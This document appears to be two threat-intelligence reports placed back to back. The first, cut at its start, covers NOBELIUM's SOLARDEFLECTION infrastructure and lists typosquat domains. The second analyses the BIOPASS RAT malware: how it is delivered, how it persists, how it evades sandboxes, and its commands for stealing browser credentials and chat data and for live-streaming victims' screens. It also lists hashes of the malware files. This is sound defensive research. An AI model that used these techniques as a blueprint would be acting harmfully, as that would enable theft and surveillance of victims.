for International Development (USAID), a government agency. The same day, Microsoft also published research on wider TTPs used in the same campaign and attributed the activity to NOBELIUM, the group behind the SolarWinds intrusions. # Threat Analysis NOBELIUM employs a wide range of bespoke tooling developed in a variety of programming languages, demonstrating a substantial research and development effort in support of its cyber operations. The threat group also makes good use of publicly available commodity tools such as Cobalt Strike to hinder attribution efforts. NOBELIUM exhibits highly developed operational security practices in its tradecraft, aimed at disrupting researchers’ efforts in associating their malware and infrastructure to the group. Using a combination of proactive C2 detections, domain analysis, and network traffic analysis, we have determined that SOL ARDEFLECTION servers share common infrastructure TTPs, enabling us to confidently cluster and attribute these servers to NOBELIUM. # Victimology With the finite data available to Recorded Future surrounding this campaign, limited conclusions can be drawn regarding victimology. Through behavioral profiling of network traffic to adversary infrastructure, we were able to determine a clear and consistent pattern of SOL ARDEFLECTION operators relying on Tor to obfuscate network traffic. # Mitigations The delivery of the Cobalt Strike Beacon malware and the C2 communication (defined by the malleable C2 profile) are best detected using intrusion detection systems (IDS) like Snort. We recommend that users conduct the following measures to detect and mitigate activity associated with SOL ARDEFLECTION: - Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on — and upon review, consider blocking connection attempts to and from — the external IP addresses and domains listed in the appendix. - Monitor for domain abuse, such as typosquat domains spoofing your organization, through the Recorded Future Brand Intelligence (BI) module. # Appendix A — Indicators The following tables contain domains deemed or assessed as malicious under the heading “X.509 Certificate Domain (Typosquat)”, and their non-malicious associated redirect domains, under the heading “Location Domain”. All domains detailed in these tables should not be used to infer targeting of their respective affiliation. ## SOLARDEFLECTION Domains | Location Domain | X.509 Certificate Domain (Typosquat) | Registrar | |-----------------|---------------------------------------|-----------| | https://www.businessandit.com | 60daybusinessaudit.com | NAMESILO, LLC | | https://www.vmware.com | alifemap.com | NAMECHEAP INC | | https://www.news.com | an-4news.com | NAMECHEAP INC | | https://www.newsreview.com | cbdnewsandreviews.net | NAMESILO, LLC | | https://celebs-infor.blogspot.com | celebsinformation.com | NAMESILO, LLC | | https://www.ohiocpa.com | cityloss.com | NAMECHEAP INC | | https://www.crochet.com | crochetnews.com | NAMESILO, LLC | | https://e-blogpro.blogspot.com | eblogpro.com | NAMESILO, LLC | | https://fashionweekdaily.com/category/news | fashionnewsarticles.com | NAMECHEAP INC | | https://www.startabusinessfast.com | faststartbusiness.com | NAMESILO, LLC | | https://www.gallatinnews.com | galatinonews.com | NAMECHEAP INC | | https://www.facebook.com/Global-Trade-Motors-1603628046591244 | globaltrademotors.com | NAMESILO, LLC | | https://dayproud.us | hanproud.com | NAMESILO, LLC | | https://hungarytoday.hu | hostwt.com | NAMESILO, LLC | | https://www.newsteps.org | newstepsco.com | NAMECHEAP INC | | https://www.bajaj.pe/english/finance | ovenfinance.com | NAMECHEAP INC | | https://www.pharosjournal.com | pharaosjournal.com | NAMESILO, LLC | | https://rghosts.com | rchosts.com | NAMESILO, LLC | | https://schiebel.net | shebelnews.com | EPIK INC | | https://money.cnn.com/data/us_markets | stockmarketon.com | NAMECHEAP INC | | https://www.stonecrestonline.com | stonecrestnews.com | NAMECHEAP INC | | news.sky.com | stsnews.com | NAMESILO, LLC | | https://tacomaweekly.com | tacomanewspaper.com | DOMAINSOVERBOARD.COM LLC | | https://onedrive.live.com | teachingdrive.com | NAMECHEAP INC | | https://www.theadminzone.com | theadminforum.com | NAMECHEAP INC | | https://www.t-mobilemoney.com/en/home.html | themobilecard.com | NAMECHEAP INC | | https://www.theadminzone.com | thetravelerspledge.com | NAMESILO, LLC | | https://www.bbc.com/news | trendignews.com | NAMECHEAP INC | | https://homeoutlet.com | worldhomeoutlet.com | NAMECHEAP INC | ## LUNARREFLECTION Domains | Location Domain | X.509 Certificate Domain (Typosquat) | Registrar | |-----------------|---------------------------------------|-----------| | https://www.easycounter.com | bfilmnews.com | NAMESILO, LLC | | https://dominican.news | dom-news.com | NAMECHEAP INC | | https://ezdiy.com | exdiy.com | NAMESILO, LLC | | https://midcitymessenger.com | midcitylanews.com | NAMECHEAP INC | | https://mindsetsft.com | mindsetsoft.com | NAMESILO, LLC | | https://www.newfordtech.com | news-techh.com | NAMECHEAP INC | | https://atpflightschool.com | nextgencpe.com | NAMECHEAP INC | | https://ecobale.com/about-ecobale | nordicmademedia.com | EPIK INC | | https://petslifenews1.blogspot.com | petslifenews.com | NAMESILO, LLC | | https://www.nasaproracing.com | proracingnews.com | NAMESILO, LLC | | https://spaceheaterparts.com | spaceheaterpro.com | NAMECHEAP INC | | https://www.newsanalytics.us | theanalyticsnews.com | NAMECHEAP INC | | https://www.dailyworldnewsgazette.com | theworldnewsgazette.com | NAMECHEAP INC | | https://www.delivery.com | userdelivery.com | NAMESILO, LLC | ## cs2modrewrite Domains | Location Domain | X.509 Certificate Domain (Typosquat) | Registrar | |-----------------|---------------------------------------|-----------| | https://www.google.com | api.pcocot.com | GODADDY.COM, LLC | | https://blizzard.com | d2rwiki.net | NAMECHEAP | | https://rsa.com | eu-elb-10.rsa.eu.com | PDR LTD. D/B/A PUBLICDOMAINREGISTRY. | | https://www.vmware.com | eu-elb-11.carbonblack.eu.com | PDR LTD. D/B/A PUBLICDOMAINREGISTRY. | | https://www.splunk.com | forward.splunk.eu.com | GANDI SAS | | https://www.securedretail.com | glogln.com | NAMECHEAP INC | | https://gfuel.com | hefuel.com | GODADDY.COM, LLC | | https://heroesofthestorm.com | herosofthestorms.com | NAMECHEAP INC | | https://www.ftc.gov.tw | mergers.ftclibrary-gov.com | GODADDY.COM, LLC | | https://www.microsoft.com | mic.dnsrd.com | NAMESILO, LLC | | https://www.onlinebusinessadvice.uk | onlinebusinessadviceuk.com | GODADDY.COM, LLC | | https://code.jquery.com/jquery-3.6.0.js | quiz.stakeverflow.com | NAMECHEAP | | https://www.financesolutionsuk.org.uk | ret.workman-alerts.co.uk | NAMECHEAP | | https://www.microsoft.com | saab.dnset.com | COM | | https://google.com | support.starbulk.gr | N/A | | https://tsubox.com | tsubux.com | NAMECHEAP INC | | https://www.cia.gov | update.aviraoperations.com | CSC CORPORATE DOMAINS, INC. | | https://zincone.com | zinczone.com | NameSilo, LLC |
# BIOPASS RAT: New Malware Sniffs Victims via Live Streaming **July 9, 2021** **By: Joseph C Chen, Kenney Lu, Jaromir Horejsi, Gloria Chen** We discovered a new malware that targets online gambling companies in China via a watering hole attack, in which visitors are tricked into downloading a malware loader disguised as a legitimate installer for well-known apps such as Adobe Flash Player or Microsoft Silverlight. Closer examination of the loader shows that it loads either a Cobalt Strike shellcode or a previously undocumented backdoor written in Python, a new type of malware that we found to be named BIOPASS RAT (remote access trojan). BIOPASS RAT possesses basic features found in other malware, such as file system assessment, remote desktop access, file exfiltration, and shell command execution. It also has the ability to compromise the private information of its victims by stealing web browser and instant messaging client data. What makes BIOPASS RAT particularly interesting is that it can sniff its victim’s screen by abusing the framework of Open Broadcaster Software (OBS) Studio, a popular live streaming and video recording app, to establish live streaming to a cloud service via Real-Time Messaging Protocol (RTMP). In addition, the attack misuses the object storage service (OSS) of Alibaba Cloud (Aliyun) to host the BIOPASS RAT Python scripts as well as to store the exfiltrated data from victims. We consider BIOPASS RAT as still being actively developed. For example, some markers that we discovered during our analysis refer to different versions of RAT code, such as “V2” or “BPSV3”. Many of the loaders that we found were used to load Cobalt Strike shellcode by default instead of the BIOPASS RAT malware. Furthermore, BIOPASS RAT also creates scheduled tasks to load the Cobalt Strike shellcode during the initialization, indicating that the malicious actor behind the attack still heavily relies on Cobalt Strike. We also found several clues that show how the malware might be connected with the Winnti Group (also known as APT41). In this blog entry, we will dive deeper into BIOPASS RAT with a detailed technical analysis of the infection chain, the different components of the malware, and any possible associations with Winnti. ## Infection Chain The initial delivery mechanism of BIOPASS RAT uses a watering hole, a compromised website in which the malicious actors inject their custom JavaScript code to deliver malware. In most of the cases that we observed, the attackers usually place their injection script in their target’s online support chat page. The injected script will try to scan the affected host by sending HTTP requests to a list of ports. If it receives any response with an expected string from these ports, the script will stop. This step is likely designed to avoid attacking an already infected victim. We found that the BIOPASS RAT has the ability to open an HTTP service running on localhost on a port chosen from a hard-coded list. This functionality allows the script to identify whether the victim has already been infected by their malware. It conducts this identification by testing whether the port is open or not and then by checking the response. If the script confirms that the visitor has not yet been infected, it will then replace the original page content with the attackers’ own content. The new page will show an error message with an accompanying instruction telling website visitors to download either a Flash installer or a Silverlight installer, both of which are malicious loaders. It is important to note that both Adobe Flash and Microsoft Silverlight have already been deprecated by their respective vendors. The legitimate known application is downloaded and executed. Authenticode-signed files are either downloaded from the official websites or are hosted on Alibaba Cloud OSS on the attackers’ account. Visual C++ runtime, a legitimate and signed vc_redist.x??.exe, and Python runtime are then downloaded. These files are also hosted on Alibaba Cloud OSS on an attacker-controlled account. The Python runtime is usually a ZIP file with all required executables, as well as the DLL and Python libraries necessary for running Python scripts on machines where Python is not installed. Scheduled tasks that are activated on a new login are created. These tasks can run a BPS backdoor or a Cobalt Strike loader. We also noticed the path string “ServiceHub”, which is a path to the extracted Python runtime. After the hex decoding of the arguments, we get a Python one-liner that downloads additional Python scripts from the cloud. ## Examining the BIOPASS RAT Modules We observed a few scheduled tasks being created, with the number dependent on the analyzed sample. In the following section, we provide an analysis for each important backdoor module. ### The cdaemon Module One of the modules used is called “cdaemon”. At the time of our research into this threat, only the “print(1)” command is able to be executed. An old sample of the module is likely a watchdog to check the status of another module that is known as “c1222”. The malicious actors can change this behavior by replacing the content of the cdaemon.txt service in the cloud so that when combined with the regular execution of the scheduled task, the cdaemon task can behave like a backdoor. ### The c1222 Module The second scheduled task is called “c1222.txt,” which is a Python code run by a previously downloaded Python runtime. This code runs an HTTP server that listens on predefined ports. If accessed by an HTTP client, it returns a marker value. We also observed other markers — such as, “cs_online”, “online”, and “dm_online”. The purpose of the HTTP service is to act as a marker for an infected machine to avoid repeated infection. The most important task of the c1222 script is to download, decode, and execute the Cobalt Strike shellcode. ### The big Module (BIOPASS RAT) The third scheduled task is called “big.txt” and is responsible for implementing the BIOPASS RAT malware. This is a Python-based backdoor that is distributed in plain text or compiled with Nuitka or PyArmor and PyInstaller. When the malware starts, it checks whether the file with the hard-coded name “%PUBLIC%/20200318” exists. This file is a marker to determine if the scheduled task of the backdoor has been installed. If the file is not found, the backdoor creates a new one and writes the current timestamp onto it. The malware will then delete the scheduled tasks added by the loader and add two new scheduled tasks. | Task Name | Behavior | |--------------------------|----------------------------------------------------------------------------------------------| | ServiceHub | Executes Python with a parameter that is the Python script to download and execute Cobalt Strike loader script “c1222” module | | ShellExperienceHost | Executes Python with a parameter that is the Python script to download and execute BIOPASS RAT script “big” module | The BIOPASS RAT malware loads a Python script, “online.txt” that will open an HTTP server that listens on one of the following port numbers: 43990, 43992, 53990, 33990, 33890, 48990, 12880, 22880, 32880, 42880, 52880, or 62880. The HTTP server does nothing but returns string “BPSV3” to request. A second HTTP server will also be created to listen on one of the aforementioned port numbers. The second HTTP server behaves the same as the first but returns a string, “dm_online”, instead. These are the markers of infection. After the servers are established and running, the backdoor creates an execution root directory in the folder “%PUBLIC%/BPS/V3/”. If the malware finds that the system username is “vbccsb”, it will stop. It must be noted that “vbccsb” is the default username on ThreatBook Cloud Sandbox, a popular alternative to VirusTotal in China. If the backdoor finds that the file “debug” is present inside the root directory, it will wait for 130 seconds and then continue with execution. Next, the backdoor will try to read the file “bps.key” inside the root directory. This file contains the victim ID assigned by the command-and-control (C&C) server. If the file hasn’t been created, it will set the victim ID to a null value until the C&C server assigns it. At the end of initialization, it collects the information of the victim’s system and initializes values in the global config variable that contains important configuration information. This includes the backdoor version, access keys, endpoint address, the bucket name for Alibaba Cloud OSS, and a URL for downloading the utility sc.exe that is used for taking screenshots. The backdoor communicates with the C&C server using the Socket.io protocol. The C&C communication is encrypted with AES ECB algorithm using a hard-coded password, ZLIB compression, and base85 encoding. The BIOPASS RAT malware registers three custom Socket.io event handlers: 1. The “notice” handler is used for checking the connection with the C&C server. The backdoor regularly sends a “notice” event to the server and records the timestamp if it also receives a “notice” event as the response. If the malware doesn’t receive any “notice” event within a hard-coded threshold period, it will restart. 2. The “set key” handler is used for accepting the victim ID, a random string with six characters, assigned by the C&C server. It will be attached in each of the commands sent from the server and will also be used as the folder name on a cloud storage service to save the stolen data. The victim ID will be stored in the “bps.key” file. 3. The “accept task” handler is the main handler used to process the command sent from the C&C server and to return the execution result. After the malware joins the C&C server, the server will assign a victim ID with “set key” event and send multiple “accept task” events with the commands “ScreenShot”, “SnsInfo”, “PackingTelegram”, “GetBrowsersCookies”, “GetBrowsersLogins”, “GetBrowsersHistories”, and “GetBrowsersBookmarks” to instruct the malware to collect private data from the victim. ## A Closer Look at the BIOPASS RAT Commands The BIOPASS RAT malware implements multiple commands, most of which are self-explanatory. A summary of commands is listed below. | Command | Behavior | |----------------------------------|----------------------------------------------------------------------------------------------| | Compress_Files | Compresses specified files or directories to a ZIP archive | | Decompress_File | Extracts files from a specified ZIP archive | | AutoRun | Creates a scheduled task for persistence | | CloseEverything | Kills the Everything process with the command “TASKKILL /F /IM Everything.exe” | | OpenEverything | Downloads and runs Everything from voidtools | | CloseFFmpegLive | Kills the FFmpeg process with the command “TASKKILL /F /IM ffmpeg.exe” | | OpenFFmpegLive | Downloads and runs FFmpeg (for screen video capture) | | DeleteFile | Deletes files or directories at specified locations | | CreateDir | Creates a directory at a specified location | | ShowFiles | Gets the disk partition or lists a specified directory with detailed information | | Download_File | Downloads a URL and saves the file to a specified location | | Upload_File | Uploads the victim’s files to cloud storage | | uUninstall | Kills the BIOPASS RAT process and deletes installed files | | CloseObsLive | Kills the OBS process with command “TASKKILL /F /IM obs64.exe” | | Open_Obs_Live | Downloads OBS Studio and starts live streaming | | ProcessList | Lists processes on the victim’s environment and their process identifier (PID) | | KillProcess | Kills the process specified by PID with the TASKKILL command | | ScreenShot | Takes a screenshot and uploads it to cloud storage | | Shell | Executes commands or scripts (subcommands with prefixes subprocess, python, noreturn, getversion, restart) | | SnsInfo | Lists QQ, WeChat, and Aliwangwang directories | | InstallTcpdump | Downloads and installs the tcpdump tool | | PackingTelegram | Compresses and uploads Telegram's “tdata” directory to cloud storage | | CloseProxy | Kills frpc process with command “TASKKILL /F /IM frpc.exe” | | OpenProxy | Downloads and installs the frp proxy client in the “%PUBLIC%” folder | | OpenVnc | Downloads and installs jsmpeg-vnc tool in the “%PUBLIC%/vnc/” folder | | CloseVnc | Kills the VNC process with the command “TASKKILL /F /IM vdwm.exe” | | GetBrowsersCookies | Decrypts the cookie file of the browser and uploads it to cloud storage | | GetBrowsersLogins | Decrypts the login file of the browser and uploads it to cloud storage | | GetBrowsersHistories | Uploads the history file of the browser to cloud storage | | GetBrowsersBookmarks | Uploads the bookmark file of the browser to cloud storage | ### OpenEverything The malware downloads “Everything” files if the “Everything” binary is not found in the “%TEMP%” folder. It then changes the port number of the HTTP server inside the configuration file and starts the Everything process, which will open an HTTP server to allow the threat actor to access the file system of the victim. ### OpenFFmpegLive The malware downloads FFmpeg files if they are not found on the victim’s machine. Next, it starts the FFmpeg process to monitor the victim’s desktop via RTMP live streaming to the cloud. The malicious actor can then connect to the relevant RTMP address to watch the streaming. ### Open_Obs_Live The malware downloads OBS Studio files if the OBS folder and config file are not found in the root directory. It writes the basic config and RTMP config of OBS and then starts the OBS process to monitor the victim’s desktop using RTMP live streaming to the cloud. The malicious actor can connect to the relevant RTMP address to watch the streaming. ### ScreenShot The malware downloads the screenshot-cmd tool if it is not found in the root directory. It takes a screenshot of the victim’s screen with the tool and saves it as a PNG file with a random number as the file name. The malware will then upload the screenshot files to cloud storage. ### Shell The malware uses a number of methods to execute the shell command or script. The “Shell” command instructs the malware to execute a command using the Python function “win32api.ShellExecute” and to return the result to a C&C server, applying a 60-second timeout for command execution. If the command has one of the following prefixes, it will perform a specific behavior: 1. “subprocess”: executes a system command using the Python function “subprocess.Popen”. 2. “python”: executes a Python script delivered with the command. 3. “noreturn”: executes a system command using the Python function “win32api.ShellExecute” without waiting for the result. 4. “getversion”: returns the string “20200202”. 5. “restart”: kills the process itself and restarts it via scheduled malicious tasks. ### SnsInfo The command will list the installation directory of several popular instant messaging applications including WeChat, QQ, and Aliwangwang and return this information to the C&C server. None of the Chinese messenger applications has been installed on our testing machine, which explains the result seen in the images. ### GetBrowsersCookies This command is designed to steal cookie information from browsers. It will read the “Local State” file to grab the AES secret key of Google Chrome-based browsers. Depending on the different argument “type” delivered with the command, it performs different behaviors. If the value of the “type” argument is “Chrome”, it will use the AES secret key or DPAPI (for Chrome versions before 80) to decrypt the cookie file. The decrypted result will be sent to the C&C server. If the value of the “type” argument is “File”, it will directly upload the cookie file to cloud storage. The command that we received showed that the targeted browsers include Google Chrome, Microsoft Edge Beta, 360 Chrome, QQ Browser, 2345 Explorer, Sogou Explorer, and 360 Safe Browser. ### GetBrowsersLogins This command has a nearly identical function to “GetBrowsersCookies”, although it targets a browser’s “Login Data” files instead. ## Additional Findings on BIOPASS RAT Although these are not implemented inside the BIOPASS RAT malware, we have observed two additional plug-ins that are written in Python (“getwechatdb” and “xss_spoof”) and were deployed by the threat actor to a victim who had been infected with Cobalt Strike. The script “getwechatdb” is used for exfiltrating the chat history from the WeChat Windows client. The script will detect the version of the installed WeChat client and grab the decryption key and the user ID. The predefined list of offsets is used to locate where the decryption key and the user ID are embedded. The list supports 36 different versions of memory offsets for the message client. The script will then upload database files inside the WeChat folder including “MicroMsg.db” to cloud storage. These database files are used for saving the chat history. Finally, the script will print out the client ID and the decryption key that allows the malicious actors to decrypt the stolen database files of the chat history. The other plug-in, “xss_spoof”, is an archive that contains multiple Python scripts. The scripts are designed for web server infection via a cross-site scripting (XSS) attack. This plug-in can inject malicious scripts into the response of the victim’s web server by leveraging the WinDivert package, which is used to sniff and manipulate the network traffic on Windows. The scripts intercept HTTP GET requests that are sent to port 80. An “ignore” list is used to filter the file extensions of URLs to avoid manipulating resources that are not JavaScript or HTML. The script then modifies the original JavaScript or HTML content and delivers it to website visitors. ## Potential Links with the Winnti Group We have found several connections between BIOPASS RAT and the Winnti Group: 1. We discovered that many BIOPASS RAT loader binaries were signed with two valid certificates. However, these certificates are likely stolen from game studios from South Korea and Taiwan. It is well known that the Winnti Group has previously used stolen certificates from game studios to sign its malware. | Certificate Thumbprint | Valid From | Valid To | |------------------------|------------|----------| | EFB70718BC00393A01694F255A28E30E9D2142A4 | 12:00 a.m., Jan. 2, 2019 | 11:59 p.m., Mar. 2, 2021 | | 8CE020AA874902C532B9911A4DCA8EFFA627DC80 | 12:00 a.m., Sept. 6, 2018 | 11:59 p.m., Oct. 5, 2021 | 2. While checking the stolen certificates, we found a server-side variant of the Derusbi malware sample that was signed with the same stolen certificate. Derusbi is known to be used by multiple advanced persistent threat (APT) groups. The server-side variant has also been noted to be used as a malware loader by the Winnti Group. 3. We found an interesting Cobalt Strike loader that embeds a URL that leads to the BIOPASS RAT loader. However, the URL is unused and was likely left inside the loader as a mistake. This file has also been mentioned in a recent report that connects it to an attack on a major certification authority (CA) in Mongolia. The Cobalt Strike loader connects to the C&C server “download[.]google-images[.]ml”. The domains and the PDB string have been mentioned in a recent report and have been attributed to the Winnti Group. While these connections allow us to link the malware to the Winnti Group, the different targets between BIOPASS RAT and the current operations by Winnti’s that we are tracking makes associating the two more difficult. ## BIOPASS RAT Highlights the Importance of Downloading from Trusted Sources BIOPASS RAT is a sophisticated type of malware that is implemented as Python scripts. It possesses many features, such as the ability to use scheduled tasks as a method of maintaining persistence in the infected system. The malware abuses publicly available tools and cloud services for its malicious behavior. Notably, a large number of features were implemented to target and steal the private data of popular web browsers and instant messengers that are primarily used in Mainland China. Given that the malware loader was delivered as an executable disguised as a legitimate update installer on a compromised website, we advise users to be careful with regard to the applications that they download. As much as possible, it is recommended to download apps only from trusted sources and official websites to avoid being compromised by attacks such as the one discussed here. Organizations can also help protect their end users by implementing security solutions that provide a multilayered defense system that helps with detecting, scanning, and blocking malicious URLs. Note that we’ve submitted an abuse report to Alibaba, but we have yet to receive feedback at the time of publication. ## Indicators of Compromise (IoCs) | SHA256 | Filename | Note | |--------|----------|------| | 84fbf74896d2a1b62d73b9a5d0be2f627d522fc811fe08044e5485492d2d4249 | big.txt | BIOPASS RAT Python Script (Version 3) | | f3c96145c9d6972df265e12accfcd1588cee8af1b67093011e31b44d0200871f | c1222.txt | BIOPASS RAT Python Script (C1222 module) | | 0f8a87ca5f94949904804442c1a0651f99ba17ecf989f46a3b2fde8de455c4a4 | c1222.txt | BIOPASS RAT Python Script (C1222 module) | | d8b1c4ad8f31c735c51cb24e9f767649f78ef5c571769fbaac9891c899c33444 | c1222.txt | BIOPASS RAT Python Script (C1222 module) | | ee4150f18ed826c032e7407468beea3b1f738ba80b75a6be21bb8d59ee345466 | c1222.txt | BIOPASS RAT Python Script (C1222 module) | | 34be85754a84cc44e5bb752ee3a95e2832e7be1f611dd99e9a1233c812a6dad2 | c1222.txt | BIOPASS RAT Python Script (C1222 module) | | 30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7 | cdaemon.txt | BIOPASS RAT Python Script (Cdaemon module) | | f21decb19da8d8c07066a78839ffd8af6721b1f4323f10a1df030325a1a5e159 | cdaemon.txt | BIOPASS RAT Python Script (Cdaemon module) | | 40ab025d455083500bfb0c7c64e78967d4d06f91580912dccf332498681ebaf6 | cdaemon.txt | BIOPASS RAT Python Script (Cdaemon module) | | e479823aa41d3f6416233dba8e765cf2abaa38ad18328859a20b88df7f1d88d5 | sc2.txt | BIOPASS RAT encoded Cobalt Strike shellcode | | e567fd0f08fdafc5a89c9084373f3308ef464918ff7e4ecd7fb3135d777e946d | sc3.txt | BIOPASS RAT encoded Cobalt Strike shellcode | | 0c8c11d0206c223798d83d8498bb21231bbeb30536a20ea29a5d9273bc63313d | s.txt | BIOPASS RAT encoded Cobalt Strike shellcode | | 2beabd8a9d9a485ab6d850f67ec25abbd66bf97b933ecc13cf0d63198e9ba26e | x.txt | Python script of Cobalt Strike shellcode loader | | 00977e254e744d4a242b552d055afe9d6429a5c3adb4ba169f302a53ba31795d | 1-CS-443.lua | LUA script Cobalt Strike shellcode loader | | dbb6c40cb1a49f4d1a5adc7f215e8e15f80b9f0b11db34c84e74a99e41671e06 | Online.txt | BIOPASS RAT Python Script (local online server) | | 943e8c9b0a0a37237ec429cb8a3ff3b39097949e6c57baf43918a34b0110dd8f | getwechatdb.txt | BIOPASS RAT Python Script (getwechat plugin script) | | 760fe7645134100301c69289a366bb92ab14927a7fbb9b405c1352989f16488c | wechat.txt | BIOPASS RAT Python Script (getwechat plugin script) | | bdf7ebb2b38ea0c3dfb13da5d9cc56bf439d0519b29c3da61d2b2c0ab5bc6011 | xss_spoof.zip | BIOPASS RAT Python Script (xss_spoof plugin package) | | e3183f52a388774545882c6148613c67a99086e5eb8d17a37158fc599ba8254b | x.js | XSS watering hole attack script | | d3956e237066a7c221cc4aaec27935d53f14db8ab4b1c018c84f6fccfd5d0058 | script.txt | XSS attack JavaScript payload | | 4e804bde376dc02daedf7674893470be633f8e2bda96fa64878bb1fcf3209f60 | xss.txt | XSS attack HTML payload | | 05d1c273a4caeae787b2c3faf381b5480b27d836cd6e41266f3eb505dcee6186 | flash.exe | BIOPASS RAT Loader | | 09530096643b835cff71a1e48020866fd0d4d0f643fe07f96acdcd06ce11dfa4 | test-ticker.exe | BIOPASS RAT Loader | | 0b16dfa3e0bbcc7b04a9a43309e911059a4d8c5892b1068e0441b177960d3eee | Silverlight_ins.exe | BIOPASS RAT Loader | | 0f18694b400e14eb995003541f16f75a5afc2478cc415a6295d171ba93565a82 | flash_installer.exe | BIOPASS RAT Loader | | 11b785e77cbfa2d3849575cdfabd85d41bae3f2e0d33a77e7e2c46a45732d6e4 | System.exe | BIOPASS RAT Loader | | 2243c10b1bd64dfb55eda08bc8b85610d7fa5ba759527b4b4dd16dfac584ef25 | test3.exe | BIOPASS RAT Loader | | 281c938448e32eb12fe8c5439ef06cea848668cf57fed5ad64b9a8d1e07de561 | flash1.exe | BIOPASS RAT Loader | | 2b580af1cdc4655ae75ef503aba7600e05cdd68b056a9354a2184b7fbb24db6f | Silverlight_ins.exe | BIOPASS RAT Loader | | 30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446 | flash-64.exe | BIOPASS RAT Loader | | 30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe | Silverlight_ins.exe | BIOPASS RAT Loader | | 3195c355aa564ea66b4b37baa9547cb53dde7cf4ae7010256db92fff0bde873d | flash.exe | BIOPASS RAT Loader | | 32a3934d96a8f2dae805fa28355cd0155c22ffad4545f9cd9c1ba1e9545b39ac | test.exe | BIOPASS RAT Loader | | 32c1460ba5707783f1bbaedab5e5eab21d762094106d6af8fa6b2f0f0d777c1a | test3.exe | BIOPASS RAT Loader | | 344cdbc2a7e0908cb6638bc7b81b6b697b32755bad3bed09c511866eff3876c7 | test4.exe | BIOPASS RAT Loader | | 3589e53c59d9807cca709387bbcaaffc7e24e15d9a78425b717fc55c779b928e | flash.exe | BIOPASS RAT Loader | | 36e3fcd6a4c7c9db985be77ea6394b2ed019332fdae4739df2f96a541ea52617 | Silverlight.exe | BIOPASS RAT Loader | | 3e8f8b8a5f70c195a2e4d4fc7f80523809f6dbf9ead061ce8ef04fb489a577cf | test-flash.exe | BIOPASS RAT Loader | | 5d7aa3474e734913ecb4b820c0c546c92f7684081c519eecd3990e11a19bf2ba | flash_installer.exe | BIOPASS RAT Loader | | 5fd2da648068f75a4a66b08d6d93793f735be62ae88085a79d839b6a0d6d859a | flash1.exe | BIOPASS RAT Loader | | 660cef8210f823acb0b31d78fbce1d6f3f8c4f43231286f7ac69f75b2c42c020 | flashplayerpp_install_cn.exe | BIOPASS RAT Loader | | 69d930050b2445937ec6a4f9887296928bf663f7a71132676be3f112e80fe275 | test.exe | BIOPASS RAT Loader | | 6a0976e5f9d07ff3d80fa2958976183758ba5fcdd4645e391614a347b4b8e64b | f0b96efe2f714e7bddf76cc90a8b8c88_se.exe | BIOPASS RAT Loader | | 6ee8f6a0c514a5bd25f7a32210f4b3fe878d9d417a7ebe07befc285131bae10e | news.exe | BIOPASS RAT Loader | | 75e03f40a088903579a436c0d8e8bc3d0d71cf2942ad793cc948f36866a2e1ad | silverlight_ins.exe | BIOPASS RAT Loader | | 7d0d7d416db5bd7201420982987e213a129eef2314193e4558a24f3c9a91a38e | flash_installer.exe | BIOPASS RAT Loader | | 7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0 | Silverlight.exe | BIOPASS RAT Loader | | 8445c0189735766edf0e3d01b91f6f98563fef272ac5c92d3701a1174ad072dd | Silverlight_ins.exe | BIOPASS RAT Loader | | 89c0b2036ce8d1d91f6d8b8171219aafcd6237c811770fa16edf922cedfecc54 | MTYwOTI1MzEzNQ==.exe | BIOPASS RAT Loader | | 8b5d4840bbdce0798950cd5584e3d4564581a7698bc6cfb2892c97b826129cec | Silverlight_ins.exe | BIOPASS RAT Loader | | 932B45AB117960390324678B0696EF0E07D7F8DE1FA0B94C529F243610F1DCC9 | flash_ins.exe | BIOPASS RAT Loader | | 98a91356e0094c96d81bd27af407dd48c3c91aaf97da6794aeb303597a773749 | Silverlight1.exe | BIOPASS RAT Loader | | 9eed9a2e0edf38f6354f4e57b3a6b9bed5b19263f54bcee19e66fc8af0c29e4e | test.exe | BIOPASS RAT Loader | | 9f34d28562e7e1e3721bbf679c58aa8f5898995ed999a641f26de120f3a42cf4 | Silverlight1.exe | BIOPASS RAT Loader | | 9ff906ffcde32e4c6fb3ea4652e6d6326713a7fde8bb783b52f12a1f382f8798 | test.exe | BIOPASS RAT Loader | | a7c4dac7176e291bd2aba860e1aa301fb5f7d880794f493f2dea0982e2b7eb31 | test.exe | BIOPASS RAT Loader | | b48e01ff816f12125f9f4cfc9180d534c7c57ef4ee50c0ebbe445e88d4ade939 | test.exe | BIOPASS RAT Loader | | b82bde3fe5ee900a76ac27b4869ed9aa0802c63bbd72b3bfb0f1abce6340cc6c | Silverlight_ins.exe | BIOPASS RAT Loader | | b9d0838be8952ebd4218c8f548ce94901f789ec1e32f5eaf46733f0c94c77999 | Silverlight_ins.exe | BIOPASS RAT Loader | | ba44c22a3224c3a201202b69d86df2a78f0cd1d4ac1119eb29cae33f09027a9a | Silverlight2.exe | BIOPASS RAT Loader | | bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975 | Silverlight.exe | BIOPASS RAT Loader | | bf4f50979b7b29f2b6d192630b8d7b76adb9cb65157a1c70924a47bf519c4edd | test.exe | BIOPASS RAT Loader | | c11906210465045a54a5de1053ce0624308a8c7b342bb707a24e534ca662dc89 | test-flash.exe | BIOPASS RAT Loader | | c3fa69e15a63b151f8d1dc3018284e153ad2eb672d54555eaeaac79396b64e3b | test.exe | BIOPASS RAT Loader | | c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5 | flashplayerpp_install_cn.exe | BIOPASS RAT Loader | | c8542bffc7a2074b8d84c4de5f18e3c8ced30b1f6edc13047ce99794b388285c | flash2.exe | BIOPASS RAT Loader | | cce6b17084a996e2373aaebbace944a17d3e3745e9d88efad4947840ae92fd55 | Silverlight_ins.exe | BIOPASS RAT Loader | | d18d84d32a340d20ab07a36f9e4b959495ecd88d7b0e9799399fcc4e959f536b | flash_installer.exe | BIOPASS RAT Loader | | e4109875e84b3e9952ef362abc5b826c003b3d0b1b06d530832359906b0b8831 | flash.exe | BIOPASS RAT Loader | | e52ea54cfe3afd93a53e368245c5630425e326291bf1b2599b75dbf8e75b7aeb | flashplayer_install_cn.exe | BIOPASS RAT Loader | | 